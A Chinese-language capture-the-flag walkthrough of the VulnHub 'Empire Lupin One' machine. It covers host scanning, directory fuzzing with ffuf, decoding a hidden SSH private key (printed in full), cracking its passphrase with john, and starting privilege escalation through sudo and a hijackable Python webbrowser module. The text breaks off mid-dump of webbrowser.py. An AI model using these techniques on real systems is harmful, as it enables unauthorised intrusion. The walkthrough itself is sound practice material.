靶机渗透练习41-Empire Lupin One
靶机描述
靶机地址：https://www.vulnhub.com/entry/empire-lupinone,750/
Description
Difficulty: Medium
This box was created to be medium, but it can be hard if you get lost.
CTF like box. You have to enumerate as much as you can.
For hints discord Server ( https://discord.gg/7asvAhCEhe )
一、搭建靶机环境
攻击机Kali：
IP地址：192.168.184.128
靶机：
IP地址：192.168.184.144
注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l （指定网卡扫）
arp-scan -I eth0 -l
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口
2.1.3 尝试访问靶机网页
2.1.4 目录扫描
☁ kali dirb http://192.168.184.144/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jan 5 16:54:38 2022
URL_BASE: http://192.168.184.144/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.184.144/ ----
==> DIRECTORY: http://192.168.184.144/image/
+ http://192.168.184.144/index.html (CODE:200|SIZE:333)
==> DIRECTORY: http://192.168.184.144/javascript/
==> DIRECTORY: http://192.168.184.144/manual/
+ http://192.168.184.144/robots.txt (CODE:200|SIZE:34)
+ http://192.168.184.144/server-status (CODE:403|SIZE:280)
---- Entering directory: http://192.168.184.144/image/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.184.144/javascript/ ----
==> DIRECTORY: http://192.168.184.144/javascript/jquery/
---- Entering directory: http://192.168.184.144/manual/ ----
==> DIRECTORY: http://192.168.184.144/manual/da/
==> DIRECTORY: http://192.168.184.144/manual/de/
==> DIRECTORY: http://192.168.184.144/manual/en/
==> DIRECTORY: http://192.168.184.144/manual/es/
==> DIRECTORY: http://192.168.184.144/manual/fr/
==> DIRECTORY: http://192.168.184.144/manual/images/
···
···
···
-----------------
END_TIME: Wed Jan 5 16:58:44 2022
DOWNLOADED: 387408 - FOUND: 85
查看相关URL
2.2枚举漏洞
22 端口分析
一般只能暴力破解，暂时没有合适的字典
80 端口分析
访问 80 端口
使用 ffuf 工具暴力破解目录
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.184.144/~FUZZ'
参数解释：
-c 有颜色输出
-w 指定字典
-u 指定暴力破解的目录，FUZZ 就是暴力破解的目录
可以看出目录是 secret
访问：http://192.168.184.144/~secret/
能看到这两个字眼，具体意思咱们去翻译一下
这段话的意思是不是用户名为 icex64
然后ssh私钥登陆，其私钥文件应该就藏在这个目录下
这可能需要暴力破解了
暴力破解文件使用 fasttrack 破解
尝试使用 kali 中的字典暴力破解
ffuf -c -w /usr/share/wordlists/fasttrack.txt -u 'http://192.168.184.144/~secret/.FUZZ' -fc 403 -e .txt,.html
参数：
-c 颜色输出
-w 指定字典
-u 指定 URL,URL 中 FUZZ 是需要爆破的文件名
-fc 过滤指定的返回状态码
-e 逗号分隔的扩展名列表。可以指定爆破的文件扩展名
啥也咩有，那咱们换个字典试试吧
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.184.144/~secret/.FUZZ' -fc 403 -e .txt,.html
下载文件：http://192.168.184.144/~secret/.mysecret.txt
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
看着比较像 base64，使用在线网站识别算法
https://www.dcode.fr/cipher-identifier
base58解密后得到
-----BEGIN OPENSSH PRIVATE KEY-----
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
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
将内容复制出来保存为文件ssh.key
2.3漏洞利用
2.3.1 破解 sshkey 密码 getshell
在 kali 中搜索 ssh2john工具
☁ kali locate ssh2john
将 ssh.key 转为 john 能识别的 hash
☁ vulnhub /usr/share/john/ssh2john.py ssh.key > hash
使用 john 破解 hash
☁ vulnhub john --wordlist=/usr/share/wordlists/fasttrack.txt hash
得到密码：P@55w0rd!
尝试登陆 SSH
☁ vulnhub ssh icex64@192.168.184.144 -i ssh.key
2.4权限提升
2.4.1 寻找 suid 权限程序提权
在 shell 中寻找 suid 程序：find / -perm -u=s -type f 2>/dev/null
icex64@LupinOne:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/gpasswd
没有发现(在 https://gtfobins.github.io/对比)
2.4.2 使用 sudo 程序获取用户 arsene 的 shell
在 shell 中执行命令:sudo -l
icex64@LupinOne:~$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
发现不需要密码可以执行 arsene 用户目录下的文件：
sudo /usr/bin/python3.9 /home/arsene/heist.py
咱们先进入/home/arsene/
icex64@LupinOne:/$ cd /home/arsene/
icex64@LupinOne:/home/arsene$ ls
heist.py note.txt
查看note.txt文件
icex64@LupinOne:/home/arsene$ cat note.txt
Hi my friend Icex64,
Can you please help check if my code is secure to run, I need to use for my next heist.
I dont want to anyone else get inside it, because it can compromise my account and find my secret file.
Only you have access to my program, because I know that your account is secure.
See you on the other side.
Arsene Lupin.
查看 heist.py 文件
icex64@LupinOne:/home/arsene$ cat heist.py
import webbrowser
print ("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")
可以看到heist.py脚本本身没有什么代码，但导入了一个模块：webbrowser
查找 webbrowser.py
icex64@LupinOne:~$ whereis webbrowser.py
webbrowser:
icex64@LupinOne:~$ locate webbrowser.py
咋没有捏
icex64@LupinOne:~$ python --version
-bash: python: command not found
icex64@LupinOne:~$ python3 --version
Python 3.9.2
既然命令找不到，咱们直接去Python目录下去找
查看一下其内容
cex64@LupinOne:/usr/lib/python3.9$ cat webbrowser.py
#! /usr/bin/env python3
"""Interfaces for launching and remotely controlling Web browsers."""
# Maintained by Georg Brandl.
import os
import shlex
import shutil
import sys
import subprocess
import threading
__all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]
class Error(Exception):
pass
_lock = threading.RLock()
_browsers = {} # Dictionary of available browser controllers
_tryorder = None # Preference order of available browsers
_os_preferred_browser = None # The preferred browser
def register(name, klass, instance=None, *, preferred=False):
"""Register a browser connector."""
with _lock:
if _tryorder is None:
register_standard_browsers()
_browsers[name.lower()] = [klass, instance]
# Preferred browsers go to the front of the list.
# Need to match to the default browser returned by xdg-settings, which
# may be of the form e.g. "firefox.desktop".
if preferred or (_os_preferred_browser and name in _os_preferred_browser):
_tryorder.insert(0, name)
else:
_tryorder.append(name)
def get(using=None):
"""Return a browser launcher instance appropriate for the environment."""
if _tryorder is None:
with _lock:
if _tryorder is None:
register_standard_browsers()
if using is not None:
alternatives = [using]
else:
alternatives = _tryorder
for browser in alternatives:
if '%s' in browser:
# User gave us a command line, split it into name and args
browser = shlex.split(browser)
if browser[-1] == '&':
return BackgroundBrowser(browser[:-1])
else:
return GenericBrowser(browser)
else:
# User gave us a browser name or path.
try:
command = _browsers[browser.lower()]
except KeyError:
command = _synthesize(browser)
if command[1] is not None:
return command[1]
elif command[0] is not None:
return command[0]()
raise Error("could not locate runnable browser")
# Please note: the following definition hides a builtin function.
# It is recommended one does "import webbrowser" and uses webbrowser.open(url)
# instead of "from webbrowser import *".
def open(url, new=0, autoraise=True):
"""Display url using the default browser.
If possible, open url in a location determined by new.
- 0: the same browser window (the default).
- 1: a new browser window.
- 2: a new browser page ("tab").
If possible, autoraise raises the window (the default) or not.
"""
if _tryorder is None:
with _lock:
if _tryorder is None:
register_standard_browsers()
for name in _tryorder:
browser = get(name)
if browser.open(url, new, autoraise):
return True
return False
def open_new(url):
"""Open url in a new window of the default browser.
If not possible, then open url in the only browser window.
"""
return open(url, 1)
def open_new_tab(url):
"""Open url in a new page ("tab") of the default browser.
If not possible, then the behavior becomes equivalent to open_new().
"""
return open(url, 2)
def _synthesize(browser, *, preferred=False):
"""Attempt to synthesize a controller based on existing controllers.
This is useful to create a controller when a user specifies a path to
an entry in the BROWSER environment variable -- we can copy a general
controller to operate using a specific installation of the desired
browser in this way.
If we can't create a controller in this way, or if there is no
executable for the requested browser, return [None, None].
"""
cmd = browser.split()[0]
if not shutil.which(cmd):
return [None, None]
name = os.path.basename(cmd)
try:
command = _browsers[name.lower()]
except KeyError:
return [None, None]
# now attempt to clone to fit the new name:
controller = command[1]
if controller and name.lower() == controller.basename:
import copy
controller = copy.copy(controller)
controller.name = browser
controller.basename = os.path.basename(browser)
register(browser, None, instance=controller, preferred=preferred)
return [None, controller]
return [None, None]
# General parent classes
class BaseBrowser(object):
"""Parent class for all browsers. Do not use directly."""
args = ['%s']
def __init__(self, name=""):
self.name = name
self.basename = name
def open(self, url, new=0, autoraise=True):
raise NotImplementedError
def open_new(self, url):
return self.open(url, 1)
def open_new_tab(self, url):
return self.open(url, 2)
class GenericBrowser(BaseBrowser):
"""Class for all browsers started with a command
and without remote functionality."""
def __init__(self, name):
if isinstance(name, str):
self.name = name
self.args = ["%s"]
else:
# name should be a list with arguments
self.name = name[0]
self.args = name[1:]
self.basename = os.path.basename(self.name)
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
cmdline = [self.name] + [arg.replace("%s", url)
for arg in self.args]
try:
if sys.platform[:3] == 'win':
p = subprocess.Popen(cmdline)
else:
p = subprocess.Popen(cmdline, close_fds=True)
return not p.wait()
except OSError:
return False
class BackgroundBrowser(GenericBrowser):
"""Class for all browsers which are to be started in the
background."""
def open(self, url, new=0, autoraise=True):
cmdline = [self.name] + [arg.replace("%s", url)
for arg in self.args]
sys.audit("webbrowser.open", url)
try:
if sys.platform[:3] == 'win':
p = subprocess.Popen(cmdline)
else:
p = subprocess.Popen(cmdline, close_fds=True,
start_new_session=True)
return (p.poll() is None)
except OSError:
return False
class UnixBrowser(BaseBrowser):
"""Parent class for all Unix browsers with remote functionality."""
raise_opts = None
background = False
redirect_stdout = True
# In remote_args, %s will be replaced with the requested URL. %action will
# be replaced depending on the value of 'new' passed to open.
# remote_action is used for new=0 (open). If newwin is not None, it is
# used for new=1 (open_new). If newtab is not None, it is used for
# new=3 (open_new_tab). After both substitutions are made, any empty
# strings in the transformed remote_args list will be removed.
remote_args = ['%action', '%s']
remote_action = None
remote_action_newwin = None
remote_action_newtab = None
def _invoke(self, args, remote, autoraise, url=None):
raise_opt = []
if remote and self.raise_opts:
# use autoraise argument only for remote invocation
autoraise = int(autoraise)
opt = self.raise_opts[autoraise]
if opt: raise_opt = [opt]
cmdline = [self.name] + raise_opt + args
if remote or self.background:
inout = subprocess.DEVNULL
else:
# for TTY browsers, we need stdin/out
inout = None
p = subprocess.Popen(cmdline, close_fds=True, stdin=inout,
stdout=(self.redirect_stdout and inout or None),
stderr=inout, start_new_session=True)
if remote:
# wait at most five seconds. If the subprocess is not finished, the
# remote invocation has (hopefully) started a new instance.
try:
rc = p.wait(5)
# if remote call failed, open() will try direct invocation
return not rc
except subprocess.TimeoutExpired:
return True
elif self.background:
if p.poll() is None:
return True
else:
return False
else:
return not p.wait()
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
if new == 0:
action = self.remote_action
elif new == 1:
action = self.remote_action_newwin
elif new == 2:
if self.remote_action_newtab is None:
action = self.remote_action_newwin
else:
action = self.remote_action_newtab
else:
raise Error("Bad 'new' parameter to open(); " +
"expected 0, 1, or 2, got %s" % new)
args = [arg.replace("%s", url).replace("%action", action)
for arg in self.remote_args]
args = [arg for arg in args if arg]
success = self._invoke(args, True, autoraise, url)
if not success:
# remote invocation failed, try straight way
args = [arg.replace("%s", url) for arg in self.args]
return self._invoke(args, False, False)
else:
return True
class Mozilla(UnixBrowser):
"""Launcher class for Mozilla browsers."""
remote_args = ['%action', '%s']
remote_action = ""
remote_action_newwin = "-new-window"
remote_action_newtab = "-new-tab"
background = True
class Netscape(UnixBrowser):
"""Launcher class for Netscape browser."""
raise_opts = ["-noraise", "-raise"]
remote_args = ['-remote', 'openURL(%s%action)']
remote_action = ""
remote_action_newwin = ",new-window"
remote_action_newtab = ",new-tab"
background = True
class Galeon(UnixBrowser):
"""Launcher class for Galeon/Epiphany browsers."""
raise_opts = ["-noraise", ""]
remote_args = ['%action', '%s']
remote_action = "-n"
remote_action_newwin = "-w"
background = True
class Chrome(UnixBrowser):
"Launcher class for Google Chrome browser."
remote_args = ['%action', '%s']
remote_action = ""
remote_action_newwin = "--new-window"
remote_action_newtab = ""
background = True
Chromium = Chrome
class Opera(UnixBrowser):
"Launcher class for Opera browser."
remote_args = ['%action', '%s']
remote_action = ""
remote_action_newwin = "--new-window"
remote_action_newtab = ""
background = True
class Elinks(UnixBrowser):
"Launcher class for Elinks browsers."
remote_args = ['-remote', 'openURL(%s%action)']
remote_action = ""
remote_action_newwin = ",new-window"
remote_action_newtab = ",new-tab"
background = False
# elinks doesn't like its stdout to be redirected -
# it uses redirected stdout as a signal to do -dump
redirect_stdout = False
class Konqueror(BaseBrowser):
"""Controller for the KDE File Manager (kfm, or Konqueror).
See the output of ``kfmclient --commands``
for more information on the Konqueror remote-control interface.
"""
def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
# XXX Currently I know no way to prevent KFM from opening a new win.
if new == 2:
action = "newTab"
else:
action = "openURL"
devnull = subprocess.DEVNULL
try:
p = subprocess.Popen(["kfmclient", action, url],
close_fds=True, stdin=devnull,
stdout=devnull, stderr=devnull)
except OSError:
# fall through to next variant
pass
else:
p.wait()
# kfmclient's return code unfortunately has no meaning as it seems
return True
try:
p = subprocess.Popen(["konqueror", "--silent", url],
close_fds=True, stdin=devnull,
stdout=devnull, stderr=devnull,
start_new_session=True)
except OSError:
# fall through to next variant
pass
else:
if p.poll() is None:
# Should be running now.
return True
try:
p = subprocess.Popen(["kfm", "-d", url],
close_fds=True, stdin=devnull,
stdout=devnull, stderr=devnull,
start_new_session=True)
except OSError:
return False
else:
return (p.poll() is None)
class Grail(BaseBrowser):
# There should be a way to maintain a connection to Grail, but the
# Grail remote control protocol doesn't really allow that at this
# point. It probably never will!
def _find_grail_rc(self):
